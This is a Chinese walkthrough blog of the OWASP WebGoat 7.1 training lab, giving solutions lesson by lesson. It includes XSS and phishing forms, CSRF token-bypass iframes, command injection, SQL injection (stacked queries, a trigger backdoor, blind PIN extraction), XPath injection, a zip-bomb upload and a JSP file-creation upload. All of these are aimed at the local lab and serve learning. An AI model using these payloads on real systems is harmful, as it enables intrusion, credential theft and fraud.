WebGoat 靶场题解

WebGoat 是 OWASP 组织研制出的用于进行 web 漏洞实验的应用平台。自己搭了一个靶场练习了一下,这篇是我的练习记录(部分题意翻译

WebGoat 相关

介绍

WebGoat 是 OWASP 组织研制出的用于进行 web 漏洞实验的应用平台,用来说明 web 应用中存在的安全漏洞。WebGoat 运行在带有 java 虚拟机的平台之上,当前提供的训练课程有 30 多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话 cookie、SQL 盲注、数字型 SQL 注入、字符串型 SQL 注入、web 服务、Open Authentication 失效、危险的 HTML 注释等等。WebGoat 提供了一系列 web 安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

安装

我用的是 java,用 docker 也是一样的。

现在已经出了 8.0 版的,不过貌似不太完善,所以我用的还是 7.1 版。

下载 webgoat-container-7.1-exec.jar

然后直接运行

sudo java -jar webgoat-server-<<version>>.jar

当然,你也可以修改地址与端口(默认是 127.0.0.1:8080

sudo java -jar webgoat-server-<<version>>.jar --server.port=9090 --server.address=x.x.x.x

关卡

Introduction

How to work with WebGoat

一些介绍性的内容,简单看看即可

How to create a Legacy Lesson

一些介绍性的内容,简单看看即可

General

Http Basics

http 的简单演示,随便输入一个字符串,点击 Go 发给服务器,服务器会返回逆序的字符串

Access Control Flaws

Using an Access Control Matrix

使用访问控制矩阵。在基于角色的访问控制方案中,角色表示一组访问权限和权限。用户可以被分配一个或多个角色。基于角色的访问控制方案通常由角色权限管理和角色分配两部分组成。基于角色的访问控制方案可能允许用户执行他/她分配的角色不允许的访问,或以某种方式允许向未授权角色提升权限。

每个用户都是允许访问某些资源的角色的成员。您的目标是探索管理此网站的访问控制规则。只有[Admin]组才能访问“Account Manager”资源。

一个一个试就好了,Larry 可以访问 Account Manager

Bypass a Path Based Access Control Scheme

绕过路径访问控制方案

webgoat 用户可以访问 lessonPlans/en 目录中的所有文件。 尝试破坏访问控制机制并访问不在列出的目录中的资源。 选择要查看的文件后,WebGoat 将报告是否授予对文件的访问权限。 尝试获取的有趣文件可能是像 WEB-INF/spring-security.xml 这样的文件。 请记住,文件路径将根据 WebGoat 的启动方式而有所不同。

现在我们要获取 WEB-INF/spring-security.xml 文件的内容。而 ../ 代表上一级目录,那么我们就可以逐级往上找:

1
2
3
4
5
File=/../WEB-INF/spring-security.xml
File=/../../WEB-INF/spring-security.xml
File=/../../../WEB-INF/spring-security.xml
File=/../../../../WEB-INF/spring-security.xml
File=/../../../../../WEB-INF/spring-security.xml

(webgoat 推荐使用 ZAP,但是我更喜欢 burpsuit

LAB: Role Based Access Control

Stage 1

作为普通员工“tom”,利用弱访问控制来使用“职员列表”页面中的“删除”功能。验证可以删除汤姆的个人资料。用户的密码是小写的给定名称(例如 Tom Cat 的密码是“tom”)。

本来以为密码都是小写的用户名,直接登陆 admin 的帐号,删除 Tom 的帐号即可,没想到过不了。。题目应该指的是,Tom 自己删掉自己的用户(只能登陆自己的帐号

抓一下删除的包可知,Post 为 employee_id=105&action=DeleteProfile

在 Tom 登陆的时候改一下 action 参数就行了

Stage 2

对 stage1 的漏洞进行修补。给思路吧:

对于 删除 这种会造成严重后果的行为,应该再次输入密码以确认(如 Github

但是要是 admin 的帐号密码泄露,那也没啥好说的了

Stage 3

目标:作为普通员工“tom”,利用弱访问控制来查看其他员工的个人资料。

登陆 Tom 的帐号,点击 ViewProfiles 的时候抓包,改 employee_id 即可

Stage 4

对 Stage 3 的漏洞进行修补

加 Cookie

AJAX Security

LAB: DOM-Based cross-site scripting

STAGE 1

文档对象模型(DOM)从安全的角度提出了一个有趣的问题。 它允许动态修改网页的内容,但恶意代码注入期间可能会被攻击者滥用。 当未经验证的用户输入直接用于修改客户端页面的内容时,XSS(一种恶意代码注入)可能发生。

对于此练习,您的任务是使用此漏洞将恶意代码注入到 DOM 中。 然后在最后阶段,您将纠正代码中的缺陷以解决漏洞。

DOM-XSS。查看源码中的 DOMXSS.js 可知,闭合 <h1> 即可

<h1><img src='http://localhost:8080/WebGoat/images/logos/owasp.jpg'</img></h1>

STAGE 2

XSS,利用 JavaScript。且需要用到 onerror

onerror 就 onerror 呗。。

<h1><img onerror="alert(1)" src>5<img></h1>

STAGE 3

需要用 iframe。那就 <iframe javascript/onload

<h1><iframe javascript/onload="alert('xss')"><iframe></h1>

STAGE 4

伪造 Post Form

1
</h1>Please enter your password:<BR><input type = "password" name="pass"/><button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><h1>

STAGE 5

使用 escape.js 修复前面的漏洞

LAB: Client Side Filtering

STAGE 1

阶段 1:您以山羊山金融公司(CSO)Moe Stooge 的身份登录。您可以访问公司信息中的每个人,除了 CEO,内维尔巴塞洛缪。或者至少你不应该访问 CEO 的信息。对于此练习,请检查页面的内容,以查看可以找到的额外信息。

审查元素可找到

STAGE 2

阶段 2:现在,解决问题。修改服务器只返回可以看到 Mustache 的结果。

DOM Injection

您的受害者是一个系统,需要一个激活码才能让您使用它。
您的目标应该是尝试启用激活按钮。
*花一些时间查看 HTML 源代码,以了解密钥验证过程的工作原理。

启用激活按钮,那么只需要 F12,然后找一下这个按钮是怎么被禁用的。可以发现 <input disabled

删掉 disabled 就可以点击了

XML Injection

AJAX 应用程序使用 XML 与服务端进行信息交互。但该 XML 内容能够被非法用户轻易拦截并篡改。

WebGoat-Miles 的 Miles 奖励显示了所有可用的奖金。一旦你成功登录自己的 ID,系统将显示出你的账号余额及可以购买的产品。你的目标是要尽量为自己添加更多的奖励。你的帐户 ID 是 8362390

后台把兑换奖励所需奖金数额小于自己拥有的帐号余额的物品返回,然后显示在 html 中,而我们只需要抓包改 check 后面的数字即可

check1004=on

为什么是 1004 呢(1005 也可以),在 xmlInjection.js 里:

strHTML = strHTML + '<tr><td><input name=\"check' + (i + 1001) + '\" type=\"checkbox\"></td><td>';

JSON Injection

JavaScript Object Notation (JSON)是一种简单的轻量级的数据交换格式,JSON 可以 以很多形式应用,如:数组,列表,哈希表和其他数据结构。JSON 广泛应用于 AJAX 和 web2.0 应用。相比 XML, JSON 得到程序员的更多的青睐,因为它使用更简单,速度更快。 但是与 XML 一样容易受到注入攻击,恶意攻击者可以通过在请求响应中注入任意值。

你即将从 Boston(机场代码 BOS)飞往 Seattle(机场代码 SEA)。一旦你输入机场代码的三个字母后,浏览器将向服务端发送 AJAX 请求查询航班和机票价格。你将发现有两个航班可以选择:直达航班,价格贵;经停 2 次的转机航班,价格便宜。你的目标是:购买直达航班的机票,但要使用更便宜的价格。

抓包即可。不过想当然地以为 price2Submit 也要改,没想到不用。

Silent Transactions Attacks

静默交易攻击(Silent Transactions Attacks)

对客户端来说,任何一个静默交易攻击,使用单一提交的系统都是有危险的。举例来说,如果一个正常的 web 应用允许一个简单的 URL 提交,一个预设会话攻击将允许攻击者在没有用户授权的情况下完成交易。在 Ajax 里情况会变得更糟糕:交易是不知不觉的,不会在页面上给用户反馈,所以注入的攻击脚本可以在用户未授权的情况下从客户端把钱偷走。

这是一个简单的银行转账网页,在页面上可以进行转账操作; 当前页面显示了你的账号余额、当前账号和目标转账帐号; 该应用程序在通过一些基本验证后使用 AJAX 技术提交转账操作; 你的目标是绕过用户验证,执行静默转账操作。

在 url 后面输入 javascript:submitData(1234556,11000) 即可

其实这题就像一个反射型的 XSS,你可以把这个链接发给其他人,点击这个链接的人就会把钱转入你的帐号(因为没有任何验证

Dangerous Use of Eval

危险指令使用。在服务端验证所有用户输入的信息,这是一个不错的做法。如果未验证的用户输入直接通过 HTTP 响应返回给客户端的话,往往会触发 XSS 攻击。 在这一课中,未验证的用户提供的数据结合了 JavaScript 的 eval()调用一起使用。在反射型 XSS 攻击中,攻击者可以构造带有攻击脚本的 URL,将其存储于其他站点,通过电子邮件,或者其他方式诱骗用户点击,达到 XSS 的目的。HTML 网页有一系列的 HTML 编辑语言和字符组合完成。在源代码中任意位置添加一定的代码都有可能被浏览器解析,特别是 HTML 中的标记字符和属性等信息,如: <input name="submit" type="submit" value"提交"/>

本练习课程中,你的任务是通过构造特殊的输入,在应用程序运行过程中执行恶意脚本。要通过本课程,必须通过 alert()函数显示出 document.cookie

digit access code 可以弹:');alert(document.cookie%2b'

credit card number 当然也可以弹,闭合麻烦了点就是了

Insecure Client Storage

在服务端验证所有的用户输入信息总是不错的做法。客户端进行的任何验证信息都存在被逆向分析的脆弱性。记住,客户端的任何数据都不能被视为机密!

客户端 HTML 和 JavaScrip 语句可以对网页内容、形式做修改,如隐藏、控制读写、限制长度等。同样,通过修改网页代码也能解除此类限制。

Stage 1:发现购物优惠码

进入 clientSideValidation.js 看源码,发现 isValidCoupon 函数用于验证优惠码是否正确。那么我们把这一段和 var coupons 抠出来,加上 alert(decrypted):

PLATINUM GOLD SILVER BRONZE PRESSONE PRESSTWO 随便填一个就行

Stage 2:提交免费订单

由于商品列表中商品价格字段为只读,因此无法修改。现在你需要强制修改 redit card 以及 shopping card 中价格的属性。

GRANDTOT 参数即可

或者在 HTML 中找到 readonly="",删除该属性,就可以在页面上修改商品价格了

Same Origin Policy Protection

同源策略保护。本练习演示了同源策略保护。 XHR 请求只能传回原始服务器。 尝试将数据传递到非始发服务器将失败。

进行尝试即可

Authentication Flaws

Password Strength

您的 Web 应用程序的帐户只与密码一样安全。 对于这个练习,你的工作是在 https://howsecureismypassword.net 上测试几个密码。 您必须同时测试所有 6 个密码...
在您的应用程序中,您应该设置好密码要求!

这题答案和网站给出的不一样。。

Forgot Password

Web 应用程序经常为用户提供检索被遗忘密码的能力。 不幸的是,许多 Web 应用程序无法正确实现该机制。 验证用户身份所需的信息通常过于简单。

总目标:

如果用户可以正确回答秘密问题,用户可以检索他们的密码。 此“忘记密码”页面上没有锁定机制。 你的用户名是'webgoat',你最喜欢的颜色是'红色'。 目标是检索另一个用户的密码。

过于简单的验证问题+无锁定机制,那么就可以暴破

手动试试几个常用的就可以试出来 green

Multi Level Login 2

你是一个叫 Joe 的攻击者。 您拥有 webgoat financial 的有效帐户。 你的目标是以 Jane 登录。 你的用户名是 Joe,你的密码是 banana。

先用 Joe 的帐号登陆,在输入 Tank 后抓包,把 Joe 改为 Jane

Multi Level Login 1

STAGE 1

第一阶段:这个阶段只是为了展示经典的多登录是如何工作的。 你的目标是用密码 tarzan 作为 Jane 进行常规登录。

输入用户,密码,tank 即可

STAGE 2

阶段 2:现在你是一个黑客,他已经通过钓鱼邮件从 Jane 窃取了一些信息。 你有密码是 tarzan 和 Tan # 1 是 15648
问题是,第一个 tan 已经被使用了...试图闯入系统。

抓包可知有一个参数是 hidden_tan, 改为 1,然后 tan 为 15648

Buffer Overflows

Off-by-One Overflows

如何利用缓冲区溢出漏洞

如何利用基于 Web 的“Off-by-One”缓冲区溢出。
攻击如何工作:

尽管更为少见,但当应用程序的一层分配的内存不足以处理用户提交的数据时,Web 上的缓冲区溢出漏洞会发生。 通常情况下,这样的一个层次可以用 C 语言或类似的语言编写。 对于特定的子集,即逐个溢出,本课重点介绍能够覆盖尾随空字节位置的后果。 因此,由于没有找到空字节的事实,进一步的信息被返回给用户。
课程目标:

欢迎来到 OWASP 酒店! 你能找出贵宾住在哪个房间吗?

了解如何在 Web 应用程序上触发缓冲区溢出漏洞。
*了解什么类型的值长度可能会引发缓冲区溢出。

填写用户名,room。然后进入到一个网页,点击 Accept Term 的时候抓包。溢出 room_no 即可,填的数字大一点。查看源码,若返回的有 type='hiden'的<input,

那么说明溢出成功。然后再随便选一个 vip 的资料,按之前的步骤再做一遍,到 Accept Term 那个网页的时候系统会告诉你,过关了

Code Quality

Discover Clues in the HTML

开发人员因在源代码中留下诸如 FIXME,TODO,Code Broken,Hack 等等的声明而臭名昭着。 查看源代码以获取任何表示密码,后门或注释的注释都无法正常工作。 以下是基于表单的身份验证表单的示例。 寻找帮助您登录的线索。

既然是注释的锅,那就看源码咯:发现 <!-- FIXME admin:adminpw -->

Concurrency

Thread Safety Problems

用户应该能够利用此 Web 应用程序中的并发错误并查看另一个同时尝试相同功能的用户的登录信息。 这将需要使用两个浏览器。 有效的用户名是'jeff'和'dave'。
请输入您的用户名以访问您的帐户。

Web 应用程序可以同时处理多个 HTTP 请求。 开发人员经常使用不是线程安全的变量。 线程安全意味着对象或类的字段在由多个线程同时使用时始终保持有效状,态。 通常可以通过在同一时间加载与另一个用户相同的页面来利用并发错误。
由于所有线程共享相同的方法区域,并且方法区域是所有类变量的存储位置,因此多个线程可以尝试同时使用相同的类变量。

打开 2 个浏览器模拟 2 个用户,一个输入 dave,一个输入 jeff

新建标签页也行

Shopping Cart Concurrency Flaw

同上,一个先把贵的物品放入购物车,然后点 purchase;另一个再把便宜的物品放入购物车,点 update cart,然后第一个就可以确认购买了(以第二个的价格

Cross-Site Scripting (XSS)

Phishing with XSS

这题有毒。。明明用的是 POST,难道不是这样的么:

1
2
3
4
5
6
7
</form><br>
<form action=" http://localhost:8080/WebGoat/catcher?PROPERTY=yes" method="Post">
<p>username: <input type="text" name="admin" /></p>
<input type="submit" value="Submit"/>
</form>
<form>
<br>

看了答案才知道是 get 型。。好吧,用 Get 就用 get 吧:

1
2
3
4
5
6
7
8
9
10
</form>
<script>function hack(){
XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher ? PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value;}
</script>

<form name="phish"><br><br><HR><H3>
This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

其实这样也可以,不过题目指定要用 js:

1
2
3
4
5
6
7
</form><br>
<form action=" http://localhost:8080/WebGoat/catcher?PROPERTY=yes" method="get">
<p>username: <input type="text" name="admin" /></p>
<input type="submit" value="Submit"/>
</form>
<form>
<br>

Stored XSS Attacks

清理所有输入,尤其是稍后将用作 OS 命令,脚本和数据库查询的参数的输入总是一个好习惯。 对于永久存储在应用程序某处的内容而言,这一点尤其重要。 用户不应该能够创建可能导致其他用户在检索到用户消息时加载不需要的页面或不需要的内容的消息内容。

在 Message 里写入 <script>alert(1)</script>,然后点击这个链接即可

LAB: Cross Site Scripting

Stage 1

阶段 1:执行存储的跨站点脚本(XSS)攻击。
作为“汤姆”,在编辑配置文件页面上对 Street 字段执行存储的 XSS 攻击。 确认'Jerry'受到攻击的影响。
帐户的密码是其给定名称的小写版本(例如,Tom Cat 的密码是“tom”)。

在 Street 里填入 <script>alert(1)</script>,更新配置。然后用 Jerry 的账户登陆后,查看 Tom 的档案,这时候就会引发弹窗

Stage 2

阶段 2:使用输入验证块存储 XSS。

本课程仅适用于 WEBGOAT 的开发者版本

在写入数据库之前,实施修复以阻止存储的 XSS。 重复第一阶段,'大卫'作为'埃里克'作为经理。 确认'David'不受此攻击的影响。

修复内容。做好过滤即可

Stage 3

阶段 3:执行先前存储的跨站点脚本(XSS)攻击。
'布鲁斯'员工档案预先加载了存储的 XSS 攻击。 即使第 2 阶段的修复已到位,也要确认'David'受到攻击的影响。

验证 Bruce 的个人简介中包含有 XSS 攻击,使用 David 用户(密码:david)登录,查看 Bruce 的个人简介,出现弹窗,表明存在 XSS 攻击。

Stage 4

阶段 4:使用输出编码块存储 XSS。

本课程仅适用于 WEBGOAT 的开发者版本

从数据库中读取数据后,实施修复以阻止 XSS。 重复第 3 阶段。确认'大卫'不受布鲁斯配置文件攻击的影响。

同样,对在数据库里的内容,输出的时候也得过滤

Stage 5

第 5 阶段
阶段 5:执行反射 XSS 攻击。
使用搜索工作人员页面上的漏洞来制作包含反映的 XSS 攻击的 URL。 验证使用该链接的其他员工是否受到此攻击的影响。

登陆一个人的账户,在搜索框里输入 <script>alert(1)</script>

Stage 6

阶段 6:使用输入验证块反射 XSS。

本课程仅适用于 WEBGOAT 的开发者版本

实施修复措施以阻止这种反映的 XSS 攻击。 重复步骤 5.确认攻击 URL 不再有效。

同样做好过滤即可

Reflected XSS Attacks

验证服务器端的所有输入总是一个好习惯。 在 HTTP 响应中使用未经验证的用户输入时,可能会发生 XSS。 在反映的 XSS 攻击中,攻击者可以利用攻击脚本制作一个 URL 并将其发布到另一个网站,发送电子邮件或以其他方式让受害者点击它。

access code 中输入 <script>alert(1)</script> 即可

Cross Site Request Forgery (CSRF)

您的目标是发送电子邮件到新闻组。 该电子邮件包含一个图像,其 URL 指向恶意请求。 在本课中,URL 应指向带有课程“Screen”和“menu”参数的“attack”servlet,以及具有任意数值(如 5000)的额外参数“transferFunds”。您可以通过查找“Screen “和”menu“值在右边的参数插入中。 当时发生认证的 CSRF 电子邮件的收件人将转移其资金。 当本课的攻击成功时,左边菜单中的课程名称旁会出现绿色复选标记。

在 Message 里输入

http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000

提交即可

CSRF Prompt By-Pass

与 CSRF 课程类似,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个传输资金,第二个请求确认第一个请求触发的提示。 这些 URL 应通过此 CSRF-by-pass 课程的屏幕,菜单参数以及具有诸如“5000”之类的数值的额外参数“transferFunds”来指向攻击 servlet 以启动传输并且字符串值“CONFIRM” 完成它。 您可以从右侧的插图复制课程参数以创建格式为

attack?Screen=XXX&menu=YYY&transferFunds=ZZZ

的网址。 无论谁收到这封电子邮件并恰好在那个时候进行认证,他的资金都将被转移。 当您认为攻击成功时,刷新页面,您会在左侧菜单中找到绿色检查。

该实验有两个要求,第一是包含恶意请求,第二是确认第一个要求是否攻击成功。

1
2
3
4
5
6
7
8
<iframe
src="attack?Screen=1471017872&menu=900&transferFunds=5000">
</iframe>

<iframe
src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM">
</iframe>

CSRF Token By-Pass

与 CSRF 课程类似,您的目标是向包含恶意请求转移资金的新闻组发送电子邮件。 要成功完成,您需要获取有效的请求令牌。 显示转帐资金表单的页面包含有效的请求令牌。 转账资金页面的 URL 是带有本课“屏幕”和“菜单”查询参数以及额外参数“transferFunds = main”的“攻击”servlet。 加载此页面,读取令牌并将令牌附加到 transferFunds 的伪造请求中。 当您认为攻击成功时,刷新页面,您会在左侧菜单中找到绿色检查。

这题稍微复杂了一点。首先要嵌入一个框架(F1),在 F1 中找 Token,然后在嵌入第二个框架(F2),这个框架是转帐的链接,需要带上 token,思路就是这样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script>
function GetToken(){
var token = document.getElementById('F1').contentDocument.getElementsByTagName('form')[0][1].value;
LoadF2(token);
}

function LoadF2(token){
document.getElementById('F2').src = 'attack?Screen=803158781&menu=900&transferFunds=5000&CSRFToken='+token;
}
</script>


<iframe src='attack?Screen=803158781&menu=900&transferFunds=main' onload='GetToken()' id='F1'>

</iframe>

<iframe src='' id='F2'>

</iframe>

HTTPOnly Test

为了帮助缓解跨站脚本威胁,微软推出了一个名为“HttpOnly”的新 cookie 属性。 如果设置了该标志,那么浏览器不应允许客户端脚本访问 cookie。 由于该属性相对较新,因此一些浏览器忽略正确处理新属性。

本课的目的是测试您的浏览器是否支持 HTTPOnly cookie 标志。 请注意 unique2u cookie 的值。 如果您的浏览器支持 HTTPOnly,并且您为 cookie 启用它,则客户端代码应该无法读取或写入该 cookie,但浏览器仍然可以将其值发送到服务器。 某些浏览器仅阻止客户端读取访问,但不阻止写入访问。

这题是让我们尝试 httponly 的,试一试就好了

Improper Error Handling

Fail Open Authentication Scheme

由于认证机制中存在错误处理问题,因此可以在不输入密码的情况下将其认证为'webgoat'用户。 尝试以 Webgoat 用户身份登录,而不指定密码。

有时候我们在服务端接受客户端数据的时候并没有判断这个参数是否存在就对其直接使用,这是很不安全的,因为往往会由于参数的缺少而引发意外的异常,可能导致任意用户登陆。

抓包删除 Password 参数,提交即可

Injection Flaws

Command Injection

命令注入攻击对任何参数驱动的站点都构成严重威胁。 攻击背后的方法很容易学习,而造成的破坏可能包括相当多的系统妥协。 尽管存在这些风险,但互联网上数量惊人的系统易受这种攻击形式的影响。

这不仅是一个容易引发威胁的威胁,它也是一种威胁,凭借一点常识和深思熟虑,几乎可以完全防止。 本课将向学生展示几个参数注入的例子。
清理所有输入数据,特别是用于操作系统命令,脚本和数据库查询的数据总是一个很好的做法。
尝试向操作系统注入命令。

bs 抓包,改 HelpFile 参数:

AccessControlMatrix.help" %26 netstat -an %26 ifconfig%26 echo"

注意,逃逸双引号的同时注意闭合,以及这题的命令执行不能有错误,否则就算你拿到了命令执行后的信息也过不了,比如:

AccessControlMatrix.help" %26 netstat -an %26 ifconfig%26"

这样的 payload 是过不了的。

Numeric SQL Injection

SQL 注入攻击对任何数据库驱动的站点都构成严重威胁。 攻击背后的方法很容易学习,而造成的破坏可能包括相当多的系统妥协。 尽管存在这些风险,互联网上数量惊人的系统容易受到这种攻击形式的影响。

这不仅是一个容易受到煽动的威胁,而且它也是一种威胁,可以轻易防止,有一点常识和深思熟虑。

对所有输入数据进行清理,尤其是在操作系统命令,脚本和数据库查询中使用的数据,即使 SQL 注入的威胁以其他方式阻止,也是一种很好的做法。

数字型 sql 注入,连 sql 语句都给了,不能再简单

1 or 1=1--+

Log Spoofing

下面的灰色区域表示将在 Web 服务器的日志文件中记录的内容。
你的目标是使它像一个用户名“admin”登录成功。
通过向日志文件添加脚本来提升攻击?

利用换行,造成登陆成功的假象:

1
Smith%0d%0aLogin Succeeded for username: admin
1
2
0a 换行符号 "\n"
0d 回车符号 "\r"

其实我觉得这样也行,但是通过不了:

1
</pre><script>document.form.getElementsByTagName('table')[1].getElementsByTagName('td')[0].getElementsByTagName('pre')["0"].childNodes["0"].data='Login Succeeded for username: admin';</script>

原因应该是这个日志不是在网页端欺骗,而是在日志中达到欺骗的效果

XPATH Injection

与 SQL 注入类似,当网站使用用户提供的信息查询 XML 数据时,会发生 XPATH 注入攻击。 通过向网站发送有故意的畸形信息,攻击者可以了解 XML 数据的结构或访问他们通常无法访问的数据。 如果 xml 数据用于身份验证(如基于 xml 的用户文件),他们甚至可以提升网站上的权限。 查询 XML 是使用 XPath 完成的,XPath 是一种简单的描述性语句,它允许 xml 查询定位一条信息。 像 SQL 一样,您可以指定某些属性来查找和匹配模式。 在网站上使用 XML 时,通常接受查询字符串的某种形式的输入以标识要在页面上定位和显示的内容。 必须对此输入进行消毒,以验证它不会混淆 XPath 查询并返回错误的数据。

下面的表格允许员工看到他们的所有个人数据,包括他们的工资。 您的帐户是 Mike / test123。 您的目标是尝试查看其他员工数据。

Xpath 注入,抓包改 Username:

Mike' or 1 or '1

LAB: SQL Injection

Stage 1

阶段 1:使用字符串 SQL 注入绕过验证。 使用 SQL 注入作为老板('Neville')登录而不使用正确的密码。 验证 Neville 的个人资料可以被查看,并且所有功能都可用(包括搜索,创建和删除)。

1' or 1=1 -- +#

密码框有长度限制,抓包

Stage 2

这题是修复题,利用参数化来预防 SQL 注入,是一个比较常见的防止注入的方式

Stage 3

作为普通员工'Larry',使用 SQL 注入到 View 函数的参数(从 List Staff 页面)来查看老板的简介('Neville')。

首先绕过登陆,然后点 View 的时候抓包,在 employee_id 中注入:

112 or 1=1 order by salary desc

这题有点坑,需要的先验知识很多。。

String SQL Injection

payload: Smith' or 1=1-- +#

Database Backdoors

Stage 1

阶段 1:使用字符串 SQL 注入来执行多个 SQL 语句。 本课的第一阶段是教您如何使用易受攻击的字段创建两条 SQL 语句。 第一个是系统,第二个完全是你的。 您的帐户 ID 为 101.此页面允许您查看密码,ssn 和工资。 尝试注入另一个更新来更新薪水

堆叠注入

1
101; update employee set salary=100000000 where userid=101 -- +#

Stage 2

阶段 2:使用字符串 SQL 注入来注入后门。 本课的第二阶段是教你如何使用一个弱点字段来注入数据库工作或后门。 现在尝试使用相同的技术来注入一个充当 SQL 后门的触发器,触发器的语法是:
CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]' WHERE userid = NEW.userid
请注意,由于当前底层数据库不支持触发器,因此不会执行任何操作。

按照提示,输入:

1
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]' WHERE userid = NEW.userid

Blind Numeric SQL Injection

下面的表格允许用户输入一个帐号并确定它是否有效。 使用此表单开发真/假测试检查数据库中的其他条目。

目标是找到 cc_number 为 1111222233334444 的行表格引脚中字段引脚的值。该字段的类型为 int,它是一个整数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
判断长度
10;select pin from pins where cc_number =1111222233334444 and length(pin)=4-- +#

法一:二分法:
10;select pin from pins where cc_number =1111222233334444 and pin<5000

10;select pin from pins where cc_number =1111222233334444 and pin<2500

10;select pin from pins where cc_number =1111222233334444 and pin<1250

10;select pin from pins where cc_number =1111222233334444 and pin<1875

10;select pin from pins where cc_number =1111222233334444 and pin<1875

10;select pin from pins where cc_number =1111222233334444 and pin<2187.5

10;select pin from pins where cc_number =1111222233334444 and pin<2343.75

10;select pin from pins where cc_number =1111222233334444 and pin<2421.375

10;select pin from pins where cc_number =1111222233334444 and pin<2382.5625

10;select pin from pins where cc_number =1111222233334444 and pin<2363.15625

10;select pin from pins where cc_number =1111222233334444 and pin<2372.859375

10;select pin from pins where cc_number =1111222233334444 and pin<2368.0078125

10;select pin from pins where cc_number =1111222233334444 and pin<2365.58203125

10;select pin from pins where cc_number =1111222233334444 and pin<2364.369140625

10;select pin from pins where cc_number =1111222233334444 and pin=2364

法二:
10;select pin from pins where cc_number =1111222233334444 and substr(pin,1,1)=2-- +#

10;select pin from pins where cc_number =1111222233334444 and substr(pin,1,2)=23-- +#

10;select pin from pins where cc_number =1111222233334444 and substr(pin,1,3)=236-- +#

10;select pin from pins where cc_number =1111222233334444 and substr(pin,1,4)=2364-- +#

223364

Blind String SQL Injection

下面的表格允许用户输入一个帐号并确定它是否有效。 使用此表单开发真/假测试检查数据库中的其他条目。

参考 Ascii 值:'A'= 65'Z'= 90'a'= 97'z'= 122

目标是在 cc_number 为 4321432143214321 的行的表引脚中找到字段名称的值。该字段的类型是 varchar,它是一个字符串。

将发现的名称放在表单中以传递课程。 只有发现的名字应该放在表单域中,密切关注拼写和大小写。

1
2
3
4
5
6
7
8
9
10
11
10;select name from pins where cc_number=4321432143214321 and length(name)=4-- +#

10;select name from pins where cc_number=4321432143214321 and substr(name,1,1)='J'-- +#

10;select name from pins where cc_number=4321432143214321 and substr(name,1,2)='Ji'-- +#

10;select name from pins where cc_number=4321432143214321 and substr(name,1,3)='Ji'-- +#

10;select name from pins where cc_number=4321432143214321 and substr(name,1,3)='Jil'-- +#

10;select name from pins where cc_number=4321432143214321 and substr(name,1,4)='Jill'-- +#

Jill

Denial of Service

ZipBomb

服务器只接受 ZIP 文件,在上传后提取它们,对它们进行处理并删除它,它提供 20 MB 的临时存储来处理所有请求尝试执行 DOS 攻击,消耗所有临时存储与一个请求

Zip 炸弹是什么东西?

Zip 炸弹也被称作是死亡压缩包或解压缩炸弹,这是一种恶意文档(archive)文件,当某个程序或系统尝试读取这个文件时,它便会让目标发生崩溃。一般来说,攻击者会利用这种 Zip 炸弹来让反病毒软件崩溃,然后为传统病毒的感染扫清障碍。

主要是压缩比要高一点,可以新建一个 txt,全写 0,然后多复制几个 txt,压缩起来。40m 的 txt 压缩后大约是 70kb。上传即可。本来打算用 zip 炸弹的,但是后台处理的时候可能看解压出错就扔了,所以上传后什么返回都没有

Denial of Service from Multiple Logins

拒绝服务攻击是 Web 应用程序中的一个主要问题。 如果最终用户无法开展业务或执行 Web 应用程序提供的服务,那么浪费时间和金钱。

总目标:

该网站允许用户多次登录。 该站点有一个允许 2 个连接的数据库连接池。 您必须获取有效用户的列表,并创建总共 3 次登录。

首先对 User Name 进行注入:

1' or 1=1-- +#

然后会出现所有的用户,选前 3 个登陆即可(后面 2 个它提示不能使用)

1' or user_name=jsnow-- +#

Insecure Communication

Insecure Login

Stage 1

阶段 1:在这个阶段你必须嗅探密码。 登录后回答问题。

抓包,clear_pass=sniffy

Stage 2

Stage2:现在您必须切换到安全连接。 该 URL 应以 https://开头。如果您的浏览器对该证书抱怨只是忽略它。 再次嗅探交通并回答问题

切换到 HTTPS 之后打不开网页,可能是 WebGoat 没有提供 HTTPS 的服务吧

总之选 No,TLS

Insecure Storage

Encoding Basics

本课将使用户熟悉不同的编码方案。

输入字符串“abc”。 在下面的列表中,您可以看到字符串的编码值。 对于 rot13 编码,这是“nop”。 现在输入一个字符串“a c”并查看 url 编码。

照做即可

Malicious Execution

恶意执行

Malicious File Execution

下面的表格允许您上传将显示在此页面上的图像。 像这样的功能通常在基于 Web 的讨论板和社交网站上找到。 此功能易受恶意文件 nt 执行的影响。

为了通过本课,上传并运行恶意文件。 为了证明你的文件可以执行,它应该创建另一个名为:

/home/macr0phag3/Downloads/.extract/webapps/WebGoat/mfe_target/guest.txt

一旦你创建了这个文件,你将通过这个课程。

先传一个正常图片,看看路径。然后再传一个 jsp(shell.jsp)

1
2
3
4
5
<HTML>

<% java.io.File file= new java.io.File("/home/macr0phag3/Downloads/.extract/webapps/WebGoat/mfe_target/guest.txt");file.createNewFile();%>

</HTML>

访问 shell.jsp 就通过了

Parameter Tampering

Bypass HTML Field Restrictions

绕过 HTML 字段限制

下面的表单使用 HTML 表单字段限制。 为了通过本课,请提交包含不允许值的每个字段的表单。 您必须在一个表单提交中为所有六个字段提交无效值。

先用 F12 把 disables 改了,然后在抓包,把每个参数都随便改改,提交即可

XML External Entity (XXE)

您正在寻找来自马萨诸塞州波士顿的机票代码 BOS,以获得理想的假期。 尝试搜索一张票。
